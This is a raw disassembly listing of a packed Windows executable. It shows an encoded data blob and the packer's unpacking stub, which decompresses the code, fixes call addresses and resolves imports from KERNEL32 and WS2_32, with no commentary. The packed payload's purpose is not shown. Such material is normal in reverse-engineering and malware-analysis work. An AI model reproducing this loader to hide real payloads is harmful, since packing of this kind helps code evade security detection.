dd 3DA8B97h, 995B1C59h, 57F4DBBEh, 100C1257h, 5D0A7981h
dd 235D025Bh, 338BDBA2h, 0CF74030Ah, 0D4143B0Ah, 0C3814410h
dd 37F82AAh, 0FF85DBA4h, 0F203D774h, 0D1526003h, 74671D19h
dd 0B9014F34h, 4E1B2Ah, 8A015AAAh, 0CD17A76Ah, 0B321A277h
dd 70F64E8h, 0FEDFFF0Fh, 0A5ED84DDh, 5D5B58C3h, 54EC8350h
dd 8DFC8B9Eh, 0D78B4048h, 44B0AAF3h, 150737ABh, 515257F1h
dd 55058951h, 7711E053h, 83D6FFFFh, 0C08554C4h, 5B2D32C3h
dd 19B40754h, 0B9242C10h, 8482CC06h, 92C71C15h, 0F8149528h
dd 0D6CDA83Bh, 0A6173F1Dh, 3B730398h, 5838A05Fh, 3F031F81h
dd 0D90F161Bh, 38007F2Ch, 0C8234178h, 0F0382835h, 65036316h
dd 962839EEh, 0F012D03h, 28324C80h, 10004820h, 244C95B2h
dd 90212184h, 1811B01h, 76032001h, 1823F60h, 0C1732A02h
dd 0DF3B42h, 0AB1E9DEAh, 1B07AC5Bh, 0F71A8EBBh, 71438F8h
dd 1D2717A8h, 74D34D34h, 0A01AA407h, 34D3981Bh, 901FD34Dh
dd 4D218813h, 804D34D3h, 700D780Eh, 0CFBA690Fh, 60576834h
dd 0A6580507h, 1EA69A69h, 20501254h, 9A69A69Ah, 0B440C4Ch
dd 9A69153Ch, 1C3469A6h, 0A624192Ch, 11A69A69h, 1614181Ch
dd 9A69A69Ah, 2204170Ch, 0DCCF2300h, 0EFFC68EBh, 7D724h
dd 0BD9B7FF0h, 0F80767B3h, 0FEF00FFh, 0CC300FDh, 7803B0Fh
dd 13174410h, 97B02622h, 41DEF930h, 0EC7C0203h, 9C830B0Bh
dd 200341ABh, 0F70D2D09h, 1315D521h, 402BB5Dh, 83B30708h
dd 3A4E1BDh, 8279820Fh, 0DFA61721h, 0F9F91B07h, 81A5A1C9h
dd 40FCE09Fh, 2FA8807Eh, 0BC611ECEh, 0A3DAA3C1h, 7FE81AFh
dd 0B0219040h, 412FB541h, 66F0BF61h, 0E4A2CFB6h, 0A2E5E7A2h
dd 5F5BA2E8h, 5EC7776Fh, 5109A17Eh, 5EDA0305h, 0DA5F8FDAh
dd 5F81B66Ah, 0D332DAC9h, 0CCE0DED8h, 0D8397E31h, 1774D20h
dd 3021603h, 4D34D307h, 18030437h, 60060D05h, 94C071Fh
dd 7080B76h, 0C8360C92h, 0B1B0A09h, 0F7B3B06Ch, 0F073B57h
dd 0C8131057h, 111BA760h, 21171203h, 360C8320h, 43410F35h
dd 0D8360D83h, 17523350h, 0C570753h, 5F60D836h, 176C7B59h
dd 3DC3EF6Dh, 3EB410Eh, 0B0AB72A3h, 0C77B06C1h, 81B3802Fh
dd 1906C107h, 831F826Ch, 0D8364784h, 91C108h, 0A10F9E43h
dd 8320D88Fh, 0A76FA40Dh, 83869FB7h, 1FCE360Ch, 0B0718D7h
dd 9DEFBA4h, 0FC047h, 41040B1Dh, 9619019Ah, 190088Dh, 8F8E9019h
dd 1901990h, 93929119h, 242760CCh, 8CE307CFh, 9DC0CF08h
dd 1A730C55h, 9F70AB42h, 7C4DCFBh, 270798FBh, 3D670774h
dd 1A6703E9h, 0F1A18CFh, 0F49E93F4h, 0C85719ACh, 1990DF19h
dd 793D67F7h, 871968D6h, 18F81930h, 4D34D017h, 780774D3h
dd 7AB079C0h, 0D3278A20h, 63FC3CA0h, 0F499EEEFh, 97A00F47h
dd 107AE46h, 1258F652h, 66003054h, 0BBF6B0ACh, 19CB0022h
dd 0C0222Fh, 0D2F2694h, 0F8AFD2D2h, 3523FC01h, 4D5E40BFh
dd 3333D67h, 183B812Fh, 6BE33DDFh, 477F5BB0h, 0F1F08B70h
dd 10074651h, 0B6745437h, 503B28BEh, 872C3F44h, 9B87FF43h
dd 3328892Dh, 9EE90F00h, 0E70B2978h, 0AB5A033Bh, 78A69A69h
dd 0F3D4B597h, 7029B6CBh, 330D4DDh, 33016DE8h, 5DD34D34h
dd 7759033Ah, 0BAE9B496h, 0F2D3D353h, 32F27AAh, 23EC9C4Dh
dd 0A0A06CA9h, 0C80B4002h, 92792705h, 4008FA97h, 0C3500C9Ch
dd 92790FC8h, 12F4240Fh, 16989680h, 7E4FF3FFh, 19BEBC20h
dd 1BC9BF04h, 0EDA1348Eh, 0C21BCECCh, 0FFFFFFD3h, 20404EFFh
dd 70B59EF0h, 0C5ADA82Bh, 0D040699Dh, 0E525FD5Dh, 194F8E1Ah
dd 714083EBh, 4395D796h, 0FFFFED0Eh, 298D05FFh, 0F9409EAFh
dd 0ED44A0BFh, 818F1281h, 0BF40B982h, 0CFA6D53Ch, 781F49FFh
dd 0FFFFFF3Ch, 0C66F40FFh, 80E98CE0h, 93BA47C9h, 85BC41A8h
dd 3927556Bh, 0E070F78Dh, 0DDBC427Ch, 9DF9DE8Eh, 0FFFFFFFBh
dd 0AA7EEBFFh, 0E6A14351h, 0F2CCE376h, 81842F29h, 10284426h
dd 0AEF8AA17h, 0C4C5E310h, 0A7EB44FAh, 0FFFFFFD4h, 0EBF7F3FFh
dd 957A4AE1h, 0CC6545CFh, 0A60E91C7h, 0E319A0AEh, 650D46A3h
dd 81750C17h, 0C9767586h, 0FFFFFF48h, 42584DFFh, 3993A7E4h
dd 0B2B8353Bh, 0A74D53EDh, 0C53D5DE5h, 9E8B3B5Dh, 5DFF5A92h
dd 20A1F0A6h, 0FFFFFFC0h, 8CA554FFh, 0FDD16137h, 0D88B5A8Bh
dd 0F9895D25h, 95AA67DBh, 0BF27F3F8h, 0DD5DC8A2h, 0C94C6E80h
dd 0BF6B3F9Bh, 8A2097FFh, 0C4605202h, 0CDFA7525h, 0FB0001CCh
dd 0FA3D713Fh, 0AF7FFFFh, 470A3D7h, 645A3FF8h, 8D4FDF3Bh
dd 83126E97h, 0D3C33FF5h, 0E219652Ch, 17FFFFFFh, 0F1D1B7DDh
dd 230FD03Fh, 471B4784h, 0EEA7C5ACh, 0B6A6403Fh, 5AF6C69h
dd 0FF8637BDh, 0EBFFFFFFh, 0BC3D333Fh, 0D5E57A42h, 0E7D6BF94h
dd 0FDFDC23Fh, 118461CEh, 0E4ABCC77h, 5B4C2F3Fh, 0FFC44DE1h
dd 0BEFFFFFFh, 0C9E69594h, 53C4923Fh, 0CD44753Bh, 0AF9ABE14h
dd 0BA67DE3Fh, 0AD453994h, 94CFB11Eh, 0FF23243Fh, 0C6FFFFFFh
dd 3BBABCE2h, 7A8B6131h, 5955613Fh, 53B17EC1h, 5FBB127Ch
dd 2FEED73Fh, 92BE068Dh, 0FFFB1585h, 44B7FFFFh, 0E9A53F23h
dd 0EA27A539h, 3F2AA87Fh, 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h
dd 0FF067B63h
dd 0CCFFFFFFh, 83775423h, 3D8191FFh, 193AFA91h, 4325637Ah
dd 3CACC031h, 38D18921h, 0B8974782h, 0FFD7FD00h, 3BFFFFFFh
dd 85888DCh, 0E3E8B11Bh, 3B03A686h, 424584C6h, 7599B607h
dd 3A2EDB37h, 0D21C7133h, 0FF32DB23h, 0EEFFFFFFh, 395A9049h
dd 0C0BE87A6h, 82A5DA57h, 32B5A2A6h, 11B268E2h, 449F52A7h
dd 2C10B759h, 0FFE44925h, 2DFFFFFFh, 534F3436h, 256BCEAEh
dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh, 0BF3C9157h
dd 0E2228350h, 18FFFB7Fh, 62654B4Eh, 0AF8F83FDh, 117D9406h
dd 0CE9FDE2Dh, 0DD04C8D2h, 9F8AD8A6h, 0B48B07D1h, 3F2E9B1Ch
dd 0D84A5641h, 406780C3h, 87A01740h, 5FD3A87Ah, 86A0408Ah
dd 1D1D35ACh, 6C2C6C37h, 202EAF60h, 0BE028F1Fh, 6F5F2241h
dd 0B5E85F66h, 1F601D51h, 25FCB74h, 0AD5CE47Bh, 4000CF18h
dd 0A8208A48h, 50510240h, 0A0028C81h, 40051902h, 800A3205h
dd 14640Ah, 28C815h, 151902Ah, 2A32054h, 54640A8h, 0A8C8150h
dd 141902A0h, 28320540h, 51640A80h, 0A3C81500h, 46902A00h
dd 8C205401h, 1940A802h, 32815005h, 0D002A00Ah, 50150511h
dd 4549F800h, 65470151h, 64401774h, 6CDB87A2h, 7D20AA93h
dd 81275313h, 5669C082h, 113B461h, 9F6972C0h, 543C0018h
dd 36728700h, 0B9506764h, 38410F57h, 0F00155Fh, 2D664F64h
dd 16B05101h, 427349FBh, 1F586461h, 0CF7E80Dh, 290DB050h
dd 74116E55h, 64BC80ACh, 0BB70045h, 74367F02h, 70001C65h
dd 0CC12007h, 20CD9B76h, 646491ECh, 0AAA82F48h, 72B32C59h
dd 0BAC8645Eh, 410F57C5h, 0B037B33Dh, 3A2C0DE7h, 3B980A48h
dd 1D534404h, 3D842EEAh, 5773454Bh, 21D09917h, 65EC6D81h
dd 0B1F6432Fh, 3B815158h, 6B636954h, 0A2C261h, 0A2C22908h
dd 5E011800h, 3668802Fh, 21B38CB3h, 0D5C54404h, 0A200B9B7h
dd 6D5BA74Ch, 2B4001C8h, 634C2B4h, 47F6FB42h, 7479420Dh
dd 69576FECh, 1525C64h, 59B8384Ch, 3B5A8265h, 1CE0020h
dd 0F827AC57h, 17CD5540h, 0BB63610Ch, 34002070h, 2A706990h
dd 0DCCD9800h, 666B1EBCh, 81A2F62Fh, 6513240Fh, 7AFBECEEh
dd 0F74AE46h, 0B60F3144h, 5F800AACh, 4B0E004Eh, 80911218h
dd 9B021D93h, 0B974410Ch, 0F520AC46h, 9EE73C72h, 0A310AD7Bh
dd 681B1EACh, 0DCC242D1h, 150B0304h, 367D8B04h, 4E390E2Ch
dd 48527865h, 370D61D9h, 530F33FBh, 9DB0A06Ch, 696F50F0h
dd 768F4C75h, 89300126h, 67B2F10Ah, 0BE405598h, 0A2C1151Ch
dd 23499802h, 6476ED08h, 53634130h, 65E15070h, 6F2882AFh
dd 6820A253h, 55F9A76Dh, 31F0869Dh, 4B095FBDh, 61635498h
dd 2688029Dh, 2348A9BCh, 624DE000h, 2F612F31h, 2E55EA22h
dd 0B5BF480Dh, 130B4CD8h, 69567028h, 0DD697765h, 4D761612h
dd 7018CA0Eh, 49212EC9h, 0C47339Ah, 61A438FBh, 0CA41FC2Dh
dd 0F0949270h, 44E58656h, 0EB4005B9h, 665168Ch, 4638D8C0h
dd 955001F2h, 869546Bh, 0BA325101h, 1554426h, 64BDE08Bh
dd 2F7F70C1h, 8136841Eh, 285D708h, 9000148Ah, 3148B97h
dd 3B69EF80h, 2C38C900h, 6C01B47Ah, 68174009h, 0D7EC1DA1h
dd 70AF6449h, 61572C79h, 200C7146h, 0D953AE80h, 3E8AB76Ch
dd 4D8AD877h, 85547DD9h, 0DB8AF180h, 18D4B0C5h, 6B76B0D2h
dd 10148E6Ch, 738192CDh, 9876484Bh, 5E4203DFh, 49750003h
dd 61FC65C5h, 21380055h, 0B6008214h, 6B48216Eh, 9AF4D170h
dd 720AF39Dh, 261574D2h, 7709D1C9h, 235A87DBh, 0E3C7B149h
dd 176F3443h, 0D6B16630h, 48083B6Ch, 0A045921Bh, 97605A2h
dd 0AAF5C3AFh, 0A96EA277h, 0C0100279h, 6B583A6Ch, 0C6CC3BCh
dd 4264E017h, 9AE65B30h, 610C92A9h, 26BC09D4h, 52ED61DEh
dd 500C04D9h, 3052D8CEh, 0FD293C70h, 3194434Ch, 584D9DECh
dd 5095570Dh, 0DE0C0AA1h, 0B416D63h, 4D454F07h, 11D02F09h
dd 41952302h, 5418E0DDh, 0E501AC05h, 2BAD74FFh, 7302B2CBh
dd 0D0E0A15h, 59659602h, 16340196h, 5A0B9712h, 9596596h
dd 13100417h, 0A0BDFB4h, 72D001Ch, 3, 12000000h, 0FF00h
dd 3 dup(0)
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR start
loc_46C3B0: ; CODE XREF: start+272j
pusha
mov esi, offset dword_454000
lea edi, [esi-53000h]
push edi
or ebp, 0FFFFFFFFh
jmp short loc_46C3D2
; END OF FUNCTION CHUNK FOR start
; ---------------------------------------------------------------------------
align 8
; START OF FUNCTION CHUNK FOR start
loc_46C3C8: ; CODE XREF: start:loc_46C3D9j
mov al, [esi]
inc esi
mov [edi], al
inc edi
loc_46C3CE: ; CODE XREF: start-2D14j start-2CFDj
add ebx, ebx
jnz short loc_46C3D9
loc_46C3D2: ; CODE XREF: start-2DBAj
mov ebx, [esi]
sub esi, 0FFFFFFFCh
adc ebx, ebx
loc_46C3D9: ; CODE XREF: start-2DAAj
jb short loc_46C3C8
mov eax, 1
loc_46C3E0: ; CODE XREF: start-2D8Bj start-2D80j
add ebx, ebx
jnz short loc_46C3EB
mov ebx, [esi]
sub esi, 0FFFFFFFCh
adc ebx, ebx
loc_46C3EB: ; CODE XREF: start-2D98j
adc eax, eax
add ebx, ebx
ja short loc_46C3E0
jnz short loc_46C3FC
mov ebx, [esi]
sub esi, 0FFFFFFFCh
adc ebx, ebx
jnb short loc_46C3E0
loc_46C3FC: ; CODE XREF: start-2D89j
xor ecx, ecx
sub eax, 3
jb short loc_46C410
shl eax, 8
mov al, [esi]
inc esi
xor eax, 0FFFFFFFFh
jz short loc_46C482
mov ebp, eax
loc_46C410: ; CODE XREF: start-2D79j
add ebx, ebx
jnz short loc_46C41B
mov ebx, [esi]
sub esi, 0FFFFFFFCh
adc ebx, ebx
loc_46C41B: ; CODE XREF: start-2D68j
adc ecx, ecx
add ebx, ebx
jnz short loc_46C428
mov ebx, [esi]
sub esi, 0FFFFFFFCh
adc ebx, ebx
loc_46C428: ; CODE XREF: start-2D5Bj
adc ecx, ecx
jnz short loc_46C44C
inc ecx
loc_46C42D: ; CODE XREF: start-2D3Ej start-2D33j
add ebx, ebx
jnz short loc_46C438
mov ebx, [esi]
sub esi, 0FFFFFFFCh
adc ebx, ebx
loc_46C438: ; CODE XREF: start-2D4Bj
adc ecx, ecx
add ebx, ebx
ja short loc_46C42D
jnz short loc_46C449
mov ebx, [esi]
sub esi, 0FFFFFFFCh
adc ebx, ebx
jnb short loc_46C42D
loc_46C449: ; CODE XREF: start-2D3Cj
add ecx, 2
loc_46C44C: ; CODE XREF: start-2D50j
cmp ebp, 0FFFFF300h
adc ecx, 1
lea edx, [edi+ebp]
cmp ebp, 0FFFFFFFCh
jle short loc_46C46C
loc_46C45D: ; CODE XREF: start-2D16j
mov al, [edx]
inc edx
mov [edi], al
inc edi
dec ecx
jnz short loc_46C45D
jmp loc_46C3CE
; END OF FUNCTION CHUNK FOR start
; ---------------------------------------------------------------------------
align 4
; START OF FUNCTION CHUNK FOR start
loc_46C46C: ; CODE XREF: start-2D1Fj start-2D01j
mov eax, [edx]
add edx, 4
mov [edi], eax
add edi, 4
sub ecx, 4
ja short loc_46C46C
add edi, ecx
jmp loc_46C3CE
; ---------------------------------------------------------------------------
loc_46C482: ; CODE XREF: start-2D6Ej
pop esi
sub edi, [edi-4]
push edi
mov edi, esi
mov ecx, 0CDCh
loc_46C48E: ; CODE XREF: start-2CE5j start-2CE0j
mov al, [edi]
inc edi
sub al, 0E8h
loc_46C493: ; CODE XREF: start-2CC2j
cmp al, 1
ja short loc_46C48E
cmp byte ptr [edi], 12h
jnz short loc_46C48E
mov eax, [edi]
mov bl, [edi+4]
shr ax, 8
rol eax, 10h
xchg al, ah
sub eax, edi
sub bl, 0E8h
add eax, esi
mov [edi], eax
add edi, 5
mov eax, ebx
loop loc_46C493
pop edi
loc_46C4BB: ; CODE XREF: start-2C9Dj
mov eax, [edi]
or eax, eax
jz short loc_46C504
mov ebx, [edi+4]
lea eax, [eax+esi+6C000h]
add ebx, esi
push eax
add edi, 8
call dword ptr [esi+6C03Ch]
xchg eax, edx
loc_46C4D8: ; CODE XREF: start-2C7Aj
mov al, [edi]
inc edi
or al, al
jz short loc_46C4BB
push edx
mov ecx, edi
jns short near ptr loc_46C4EA+1
movzx eax, word ptr [edi]
inc edi
push eax
inc edi
loc_46C4EA: ; CODE XREF: start-2C98j
mov ecx, 0AEF24857h
push edx
call dword ptr [esi+6C040h]
pop edx
or eax, eax
jz short loc_46C502
mov [ebx], eax
add ebx, 4
jmp short loc_46C4D8
; ---------------------------------------------------------------------------
loc_46C502: ; CODE XREF: start-2C81j
popa
retn
; ---------------------------------------------------------------------------
loc_46C504: ; CODE XREF: start-2CBBj
popa
jmp sub_417AF8
; END OF FUNCTION CHUNK FOR start
; ---------------------------------------------------------------------------
align 4
dd 2C0h dup(0)
dd 6D050h, 6D03Ch, 3 dup(0)
dd 6D05Dh, 6D048h, 5 dup(0)
dd 77E805D8h, 77E7A5FDh, 0
dd 71AB1A6Dh, 0
dd 4E52454Bh, 32334C45h, 4C4C442Eh, 32535700h, 2E32335Fh
dd 6C6C64h, 6F4C0000h, 694C6461h, 72617262h, 4179h, 50746547h
dd 41636F72h, 65726464h, 7373h, 6C000h, 0Ch, 33B2h, 0
dd 8, 3D9h dup(0)
dd 13h, 0
dd 6D03Ch, 0E7A5FDD8h, 12000E77h, 0D000000h, 48000000h
dd 6D0006D0h, 571AB1Ah, 4 dup(0)
dd 616F4C00h, 62694C64h, 79726172h, 74654741h, 636F7250h
dd 72646441h, 0FF737365h, 80000003h, 3EBh dup(0)
_nsp0 ends
; Section 2. (virtual address 0006F000)
; Virtual size : 00019000 ( 102400.)
; Section size in file : 00019000 ( 102400.)
; Offset to raw data for section: 0006F000
; Flags E0000060: Text Data Executable Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write/Execute
_nsp1 segment para public 'CODE' use32
assume cs:_nsp1
;org 46F000h
assume es:nothing, ss:nothing, ds:_nsp0, fs:nothing, gs:nothing
dd 906h, 0
dd 6E000h, 0
dd 400000h, 0
dd 71AB0000h, 7 dup(0)
dd 340000h, 0
dd 400000h, 0Ah dup(0)
dd 2, 168h, 2 dup(0)
dd 1, 0
dd offset sub_401000, 0
dd 17C63h, 3 dup(0)
dd 77E805D8h, 77E7A5FDh, 77E6169Ah, 77E7980Ah, 77E79E34h
dd 77E75CB5h, 0
dd 71AB1A6Dh, 4 dup(0)
dd 6F0FCh, 6F09Ch, 3 dup(0)
dd 6F109h, 6F0B8h, 5 dup(0)
dd 4E52454Bh, 32334C45h, 4C4C442Eh, 32535700h, 2E32335Fh
dd 4C4C44h, 6F4C0000h, 694C6461h, 72617262h, 4179h, 74654700h
dd 636F7250h, 72646441h, 737365h, 69560000h, 61757472h
dd 6F72506Ch, 74636574h, 56000000h, 75747269h, 6C416C61h
dd 636F6Ch, 69560000h, 61757472h, 6572466Ch, 65h, 74697845h
dd 636F7250h, 737365h, 71890000h, 3BB8D10h
db 0BEh, 53h
; =============== S U B R O U T I N E =======================================
public start
start proc near
; FUNCTION CHUNK AT 0046C3B0 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0046C3C8 SIZE 000000A3 BYTES
; FUNCTION CHUNK AT 0046C46C SIZE 0000009E BYTES
; FUNCTION CHUNK AT 0046F53A SIZE 00000009 BYTES
pushf
pusha
call $+5
pop ebp
sub ebp, 7
lea ecx, [ebp-0FEh]
cmp byte ptr [ecx], 1
jz loc_46F3D6
mov byte ptr [ecx], 1
mov eax, ebp
sub eax, [ebp-16Ah]
mov [ebp-16Ah], eax
add [ebp-13Ah], eax
lea esi, [ebp-0F6h]
add [esi], eax
push ebp
push esi
push 40h
push 1000h
push 1000h
push 0
call dword ptr [ebp-0D2h]
test eax, eax
jz loc_46F53A
mov [ebp-142h], eax
call $+5
pop ebx
mov ecx, 367h
add ebx, ecx
push eax
push ebx
call sub_46F49B
pop esi
pop ebp
mov esi, [esi]
mov edi, ebp
add edi, [ebp-17Ah]
mov ebx, edi
cmp dword ptr [edi], 0
jnz short loc_46F208
add edi, 4
mov ecx, 0
jmp short loc_46F21E
; ---------------------------------------------------------------------------
loc_46F208: ; CODE XREF: start+82j
mov ecx, 1
add edi, [ebx]
add ebx, 4
loc_46F212: ; CODE XREF: start+CFj
cmp dword ptr [ebx], 0
jz short loc_46F24B
add [ebx], edx
mov esi, [ebx]
add edi, [ebx+4]
loc_46F21E: ; CODE XREF: start+8Cj
push edi
push ecx
push ebx
push dword ptr [ebp-0CEh]
push dword ptr [ebp-0D2h]
mov edx, esi
mov ecx, edi
mov eax, [ebp-142h]
add eax, 5AAh
call eax
pop ebx
pop ecx
pop edi
cmp ecx, 0
jz short loc_46F24B
add ebx, 8
jmp short loc_46F212
; ---------------------------------------------------------------------------
loc_46F24B: ; CODE XREF: start+9Bj start+CAj
push 8000h
push 0
push dword ptr [ebp-142h]
call dword ptr [ebp-0CEh]
lea esi, [ebp-13Ah]
mov ecx, [esi+8]
lea edx, [esi+10h]
mov esi, [esi]
mov edi, esi
cmp ecx, 0
jz short loc_46F2B2
loc_46F273: ; CODE XREF: start+100j start+10Ej
mov al, [edi]
inc edi
sub al, 0E8h
loc_46F278: ; CODE XREF: start+136j
cmp al, 1
ja short loc_46F273
mov eax, [edi]
cmp byte ptr [edx+1], 0
jz short loc_46F298
mov bl, [edx]
cmp [edi], bl
jnz short loc_46F273
mov bl, [edi+4]
shr ax, 8
rol eax, 10h
xchg al, ah
jmp short loc_46F2A2
; ---------------------------------------------------------------------------
loc_46F298: ; CODE XREF: start+108j
mov bl, [edi+4]
xchg al, ah
rol eax, 10h
xchg al, ah
loc_46F2A2: ; CODE XREF: start+11Cj
sub eax, edi
add eax, esi
mov [edi], eax
add edi, 5
sub bl, 0E8h
mov eax, ebx
loop loc_46F278
loc_46F2B2: ; CODE XREF: start+F7j
call sub_46F3F1
lea ecx, [ebp-126h]
mov eax, [ecx+8]
cmp eax, 0
jz loc_46F34A
mov esi, edx
sub esi, [ecx+10h]
jz short loc_46F34A
mov [ecx+10h], esi
lea esi, [ebp-0F6h]
mov esi, [esi]
lea ebx, [esi-4]
mov eax, [ecx]
cmp eax, 1
jz short loc_46F2EF
mov edi, edx
add edi, [ecx+8]
mov ecx, [ecx+10h]
jmp short loc_46F2F7
; ---------------------------------------------------------------------------
loc_46F2EF: ; CODE XREF: start+169j
mov edi, esi
add edi, [ecx+8]
mov ecx, [ecx+10h]
loc_46F2F7: ; CODE XREF: start+173j start+18Ej
xor eax, eax
mov al, [edi]
inc edi
or eax, eax
jz short loc_46F320
cmp al, 0EFh
ja short loc_46F30A
loc_46F304: ; CODE XREF: start+19Dj start+1A4j
add ebx, eax
add [ebx], ecx
jmp short loc_46F2F7
; ---------------------------------------------------------------------------
loc_46F30A: ; CODE XREF: start+188j
and al, 0Fh
shl eax, 10h
mov ax, [edi]
add edi, 2
or eax, eax
jnz short loc_46F304
mov eax, [edi]
add edi, 4
jmp short loc_46F304
; ---------------------------------------------------------------------------
loc_46F320: ; CODE XREF: start+184j
xor ebx, ebx
xchg edi, esi
mov eax, [esi]
cmp eax, 0
jz short loc_46F34A
loc_46F32B: ; CODE XREF: start+1BCj
lodsd
or eax, eax
jz short loc_46F338
add ebx, eax
add [edi+ebx], cx
jmp short loc_46F32B
; ---------------------------------------------------------------------------
loc_46F338: ; CODE XREF: start+1B4j
xor ebx, ebx
shr ecx, 10h
loc_46F33D: ; CODE XREF: start+1CEj
lodsd
or eax, eax
jz short loc_46F34A
add ebx, eax
add [edi+ebx], cx
jmp short loc_46F33D
; ---------------------------------------------------------------------------
loc_46F34A: ; CODE XREF: start+149j start+154j ...
lea esi, [ebp-16Ah]
mov edx, [esi]
lea esi, [ebp-10Eh]
mov al, [esi]
cmp al, 1
jnz short loc_46F39D
add edx, [esi+4]
push esi
push edx
push esi
push 4
push 100h
push edx
call dword ptr [ebp-0D6h]
pop edi
pop esi
cmp eax, 1
jnz loc_46F53A
add esi, 8
mov ecx, 8
rep movsb
sub esi, 0Ch
sub edi, 8
push esi
push dword ptr [esi-4]
push 100h
push edi
call dword ptr [ebp-0D6h]
loc_46F39D: ; CODE XREF: start+1E2j
push ebp
pop ebx
sub ebx, 8
xor ecx, ecx
mov cl, [ebx]
cmp cl, 0
jz short loc_46F3D6
inc ebx
lea esi, [ebp-16Ah]
mov edx, [esi]
loc_46F3B7: ; CODE XREF: start+25Aj
push esi
push ecx
push ebx
push edx
push esi
push dword ptr [ebx]
push dword ptr [ebx+4]
mov eax, [ebx+8]
add eax, edx
push eax
call dword ptr [ebp-0D6h]
pop edx
pop ebx
pop ecx
pop esi
add ebx, 0Ch
loop loc_46F3B7
loc_46F3D6: ; CODE XREF: start+14j start+232j
mov eax, 0
cmp eax, 0
jz short loc_46F3EA
popa
popf
mov eax, 1
retn 0Ch
; ---------------------------------------------------------------------------
loc_46F3EA: ; CODE XREF: start+264j
popa
popf
jmp loc_46C3B0
start endp
; =============== S U B R O U T I N E =======================================
sub_46F3F1 proc near ; CODE XREF: start:loc_46F2B2p
mov esi, [ebp-172h]
or esi, esi
jz loc_46F496
mov edx, [ebp-16Ah]
add esi, edx
loc_46F407: ; CODE XREF: sub_46F3F1+61j
cmp dword ptr [esi], 0
jnz short loc_46F41A
cmp dword ptr [esi+4], 0
jnz short loc_46F41A
cmp dword ptr [esi+8], 0
jnz short loc_46F41A
jmp short loc_46F494
; ---------------------------------------------------------------------------
loc_46F41A: ; CODE XREF: sub_46F3F1+19j
; sub_46F3F1+1Fj ...
mov ebx, [esi+8]
add ebx, edx
push ebx
push edx
push esi
lea edi, [ebp-7Eh]
add edi, [esi+4]
add esi, 0Ch
push edi
call dword ptr [ebp-0DEh]
pop edi
pop edx
pop ebx
cmp eax, 0
jz short loc_46F496
mov [ebp-162h], eax
add edi, [esi]
add esi, 4
loc_46F448: ; CODE XREF: sub_46F3F1+A1j
xor ecx, ecx
mov cl, [esi]
cmp ecx, 0
jnz short loc_46F454
inc esi
jmp short loc_46F407
; ---------------------------------------------------------------------------
loc_46F454: ; CODE XREF: sub_46F3F1+5Ej
mov eax, edi
add edi, ecx
push edx
push ebx
push eax
cmp byte ptr [eax], 0FFh
jnz short loc_46F468
inc eax
mov eax, [eax]
and eax, 7FFFFFFFh
loc_46F468: ; CODE XREF: sub_46F3F1+6Dj
mov cl, [edi]
mov byte ptr [edi], 0
push ecx
push eax
push dword ptr [ebp-162h]
call dword ptr [ebp-0DAh]
pop ecx
pop edx
pop ebx
pop edx
cmp eax, 0
jz short loc_46F496
mov [edi], cl
mov [esi-4], eax
push dword ptr [esi-4]
pop dword ptr [ebx]
add ebx, 4
inc esi
jmp short loc_46F448
; ---------------------------------------------------------------------------
loc_46F494: ; CODE XREF: sub_46F3F1+27j
clc
retn
; ---------------------------------------------------------------------------
loc_46F496: ; CODE XREF: sub_46F3F1+8j
; sub_46F3F1+4Aj ...
jmp loc_46F53A
sub_46F3F1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_46F49B proc near ; CODE XREF: start+6Cp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
; FUNCTION CHUNK AT 0046F536 SIZE 00000004 BYTES
push ebp
mov ebp, esp
mov esi, [ebp+arg_0]
mov edi, [ebp+arg_4]
cld
mov dl, 80h
loc_46F4A7: ; CODE XREF: sub_46F49B+12j
movsb
loc_46F4A8: ; CODE XREF: sub_46F49B+34j
; sub_46F49B+7Dj
call sub_46F51A
jnb short loc_46F4A7
xor ecx, ecx
call sub_46F51A
jnb short loc_46F4D1
xor eax, eax
call sub_46F51A
jnb short loc_46F4E2
mov al, 10h
loc_46F4C3: ; CODE XREF: sub_46F49B+2Fj
call sub_46F51A
adc al, al
jnb short loc_46F4C3
jnz short loc_46F50F
stosb
jmp short loc_46F4A8
; ---------------------------------------------------------------------------
loc_46F4D1: ; CODE XREF: sub_46F49B+1Bj
call sub_46F526
dec ecx
loop loc_46F4EE
mov eax, ebp
call sub_46F524
jmp short loc_46F510
; ---------------------------------------------------------------------------
loc_46F4E2: ; CODE XREF: sub_46F49B+24j
lodsb
shr eax, 1
jz short loc_46F536
adc ecx, 2
mov ebp, eax
jmp short loc_46F510
; ---------------------------------------------------------------------------
loc_46F4EE: ; CODE XREF: sub_46F49B+3Cj
xchg eax, ecx
dec eax
shl eax, 8
lodsb
mov ebp, eax
call sub_46F524
cmp eax, 7D00h
jnb short loc_46F50E
cmp eax, 500h
jnb short loc_46F50F
cmp eax, 7Fh
ja short loc_46F510
loc_46F50E: ; CODE XREF: sub_46F49B+65j
inc ecx
loc_46F50F: ; CODE XREF: sub_46F49B+31j
; sub_46F49B+6Cj
inc ecx
loc_46F510: ; CODE XREF: sub_46F49B+45j
; sub_46F49B+51j ...
push esi
mov esi, edi
sub esi, eax
rep movsb
pop esi
jmp short loc_46F4A8
sub_46F49B endp
; =============== S U B R O U T I N E =======================================
sub_46F51A proc near ; CODE XREF: sub_46F49B:loc_46F4A8p
; sub_46F49B+16p ...
add dl, dl
jnz short locret_46F523
mov dl, [esi]
inc esi
adc dl, dl
locret_46F523: ; CODE XREF: sub_46F51A+2j
retn
sub_46F51A endp
; =============== S U B R O U T I N E =======================================
sub_46F524 proc near ; CODE XREF: sub_46F49B+40p
; sub_46F49B+5Bp
xor ecx, ecx
sub_46F524 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_46F526 proc near ; CODE XREF: sub_46F49B:loc_46F4D1p
inc ecx
loc_46F527: ; CODE XREF: sub_46F526+Dj
call sub_46F51A
adc ecx, ecx
call sub_46F51A
jb short loc_46F527
retn
sub_46F526 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_46F49B
loc_46F536: ; CODE XREF: sub_46F49B+4Aj
pop ebp
retn 8
; END OF FUNCTION CHUNK FOR sub_46F49B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR start
